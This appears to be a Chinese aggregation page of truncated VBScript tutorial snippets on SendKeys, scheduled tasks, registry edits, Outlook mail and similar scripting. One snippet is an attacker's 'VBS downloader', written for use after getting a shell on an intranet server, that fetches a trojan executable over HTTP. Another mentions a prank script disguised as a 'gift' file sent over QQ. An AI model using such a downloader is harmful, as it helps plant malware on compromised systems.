下面这个是先执行程序后,然后再结束程序. Dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") '下行是设置延时启动时间 5000等于5秒 WScript.Sleep() '下行引号内填写服务器上批处理文件的共享路径 Wsh.Run "\\服务器\fuwu.exe",false,false '下行是设置延时清除时间 5000等于5秒 WScript.Sleep() '下行清除进程 Wsh.Run Set Ws

简单说,这个命令就是模拟键盘操作,将一个或多个按键指令发送到指定Windows窗口来控制应用程序运行,其使用格式为:object.SendKeys string"object":表示WshShell对象"string":表示要发送的按键指令字符串,需要放在英文双引号中.1.基本键 一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母"x",使用WshShell.SendKeys "x" 即可. 也可直接发

参考资料: vbs能否像其他编程语言一样,把写好的代码打包成类库以供调用呢?经过搜索和实验,发现vbs文件之间可以互相调用并共享变量,这样我们就不用再反复地编写轮子了. 以下是一个调用实例: =====1.vbs开始===== dim str str = "hello world" =====1.vbs结束===== =====2.vbs开始===== Sub include(sInstFile) Dim oFSO, f, s Set oFSO = CreateObject("

WScript.exe : 窗口中运行CScript.exe :命令行中运行 用法:<CScript|WScript> scriptname.extension [option...] [arguments...] 选项: //B 批模式:不显示脚本错误及提示信息 //D 启用 Active Debugging //E:engine 使用执行脚本的引擎 //H:CScript 将默认的脚本宿主改为 CScript.exe //H:WScript 将默认的脚本宿主改为 WScript.exe (

在网上查找资料的时候发现好多经典的vbs代码收集起来也为了以后学习. VBS播放音乐 Dim wmp Set wmp = CreateObject("WMPlayer.OCX") wmp.openState wmp.URL = "想象之中.mp3" Do Until wmp.playState = 1 WScript.Sleep 1000 Loop 比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了) Set shell=CreateObje

1.定时运行程序与关闭程序的VBS处理方法: do set ws=createobject("wscript.shell") ws.run"你要运行的程序的路径(比如说d:\qq.exe)",x 'x为参数,可选值如下. wscript.sleep 36000 '36000为一分钟,具体可以自己改. ws.run "taskkill /im 你要运行的程序的名称(比如说QQ.exe) /f",vbhide loop x为参数 下面为可选值: 0

CreateObject("Wscript.Shell") SendKeys [String] 脚本实现自动按键盘的某个键 过程是:按下F5间隔50毫秒松开F5间隔3000毫秒按下F5间隔50毫秒松开F5回到第一步 批处理是不行的  用VBS 很简单  例子如下Set objShell = CreateObject("Wscript.Shell") doWScript.Sleep 3000objShell.SendKeys "{F5}"     

一.初识VBS Vbs       是一种变量无关.解释性执行的脚本语言.vbs语言中不区分大小写.语句以换行结束. dim        声明变量:批量名称声明,多个变量之间用逗号分隔: set          赋值: rem       注释,同 ' msgbox prompt,buttons,title,helpfile,context   输出 msgbox(s) 把两个不同的内容一起输出时用"+"连接 prompt   显示的字符串,最大为1024字符,如果换行用回车换行符

VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言. Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是你写的程序不需要编译成.exe, 而是直接给用户发送.vbs的源程序, 用户就能执行了   VBScript(Microsoft Visual Basic Script Editon).,微软公司可视化BASIC脚本版).

VBScript(Microsoft Visual Basic Script Edition).,微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言.开发人员通常简称VBS,俗称VBS脚本. GoTO_Sleep_v2.vbs脚本,备注:能在XP.Windows7.Windows 2000 Professional操作系统下执行,服务器系统不运行. '关机脚本 On Error Resume Next Di

MsgBox "兄弟呀,你最近是否失眠",vbinformation Randomize() Dim a a=Int(rnd*2) Select Case a Case 0 MsgBox ("我也是这样啊``````") Case 1 MsgBox ("(-.-),同是天涯失眠人.") Case 2 MsgBox ("(~.~),还是说你没有失眠") End select MsgBox ("告诉你一个祖传秘方&quo

往事不堪回首,折腾了个把月的老系统,心中郁结,不吐不快.系统架构是ASP +VBS +VB6.0 + SQL Server2000, 第一个版本开发完成大概是在2000年.基本是处于交接无力,看代码就如同走迷宫的节奏.不过我觉得第一批开发人员应该可以自傲了,它们做的系统这么多年过去了居然还活着. 为了对得起这几天死掉的脑细胞,就权且在这里留下它们阵亡的痕迹. 变量的声明 VB6.0: Dim x as integer VBS: Dim x 同样的功能,由于代码太过Dirty,有部分模块写在了AS

批处理+VBS+注册表实现WINDOWS开机自动启动EXE程序 以下都是基于WINDOWS系统. 我们都知道当我们有想某个程序在开机时自动运行,只能有三个方式: 1.做成服务,然后对服务进行配置为自动启动(可以实现不进行用户登录完成): 2.做成驱动程序,随系统启动(可以实现不进行用户登录完成): 3.做成EXE程序,添加到开机启动项(必须得在用户登录情况下完成). 而我现在要解决的就是第三种情况 我有个想开机自动启动EXE的需求,而由于某些原因这个EXE短时间内无法做成服务,所以网上找了下方法

当你在运行一些基于VBS脚本语言的文件时,系统可能报错.这时候可能是你的VBS脚本服务在注册表中出错了,原因可能是卸载或安装一些代码不规范的程序引起的.这里给出无法找到脚本引擎"vbscript"的解决方法: 把以下代码复制另存为<vbs关联修复.reg>,双击运行即可. 原因是vbs文件没有正常关联,要建立关联,主要有三个地方要修改. Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\.vbs]@="

'VBS截屏.vbs '  Win7x64 测试通过(已安装Word2007): '参考: '  http://qtp.blogspot.com/2010/02/screenshot-vbscript.html '  http://www.fixitscripts.com/problems/take-screenshot-of-current-user-s-session With CreateObject("Word.Basic") .Sendkeys "{prtsc}&q

通过执行一段VBS代码来操控窗体内的控件也可以使用AddObject方法添加自己的类,那么在动态VBS代码中也一样可以使用在增加程序扩展性或是有脚本化需求的时候,这个方法还是不错的. Option Explicit Dim vbs As Object Private Sub Command1_Click() vbs.ExecuteStatement "showtime" End Sub Private Sub Form_Load() Set vbs = CreateObject(&qu

当拿到shell到手,服务器是内网,你又没有条件映射,服务器又穿不上东西 是不是很郁闷,还有我们还有vbs,能执行cmd命令就有希望 一.VBS下载者: 复制代码 代码如下: Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://www.jbzj.com/muma.exe"

之前在做项目时用到了一点vbs脚本,记录下. C++程序调用vbs脚本 System(vbs路径 参数); //空格隔开 Vbs脚本 '''''Vbs脚本解析参数 Set objArgs = Wscript.Arguments Then ) end if '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''注释符号 msgbox objArgs(x) next ''''''''''''''''''''''Vbs脚本执行.exe

OUTLOOK有延迟传递功能,可延迟传递的发送邮件在功能设计时(mircosoft的support帮助页的解释)就是邮件发送时的时间而不是邮件发送成功后的时间.比如早上10点发一封11点后的延迟传递邮件,11点后成功发出,可邮件的发送时间显示还是10点而不是我想要的发送成功后的时间11点!所以想用vbs调用outlook发送邮件,配合windows计划任务设置定时启动. vbs调用outlook发送邮件代码 以下test1.vbs.test2.vbs代码方式在windows7下测试了,都行: t

在网上找到的资料,经过自己简单的修改调整,通过bat生成vbs文件,由vbs文件操作注册表的键值,达到启用和禁用USB端口的目的. 当然,你也可以完全使用BAT操作注册表来完成修改注册表的键值的目的,具体方式留以后完善,如果你有好的想法,记得告诉我哦! USB_Disable.bat文件代码: @echo off echo On Error Resume next>USB_Disable.vbs echo Dim WshShell>>USB_Disable.vbs echo Set Ws

VBSBegin…VBSEnd(VBS块)格式:VBSBegin...VBSEnd用途:可以在VBS块的区域内随意的书写VBS语法指令. 更多说明:由于彻底的转向VBS语言,会导致goto语句不能被兼容.很多的脚本也就无法自动转换.而其他脚本引擎也有各种各样的问题.综合考虑各种情况,我们决定重新回归到VBSBegin…VBSEnd的语法.为了简单起见,我们把语法分为两种,在VBSBegin…VBSEnd块内的,以及在VBSBegin…VBSEnd块外的.目前的所有语句都可以看作是VBSBegin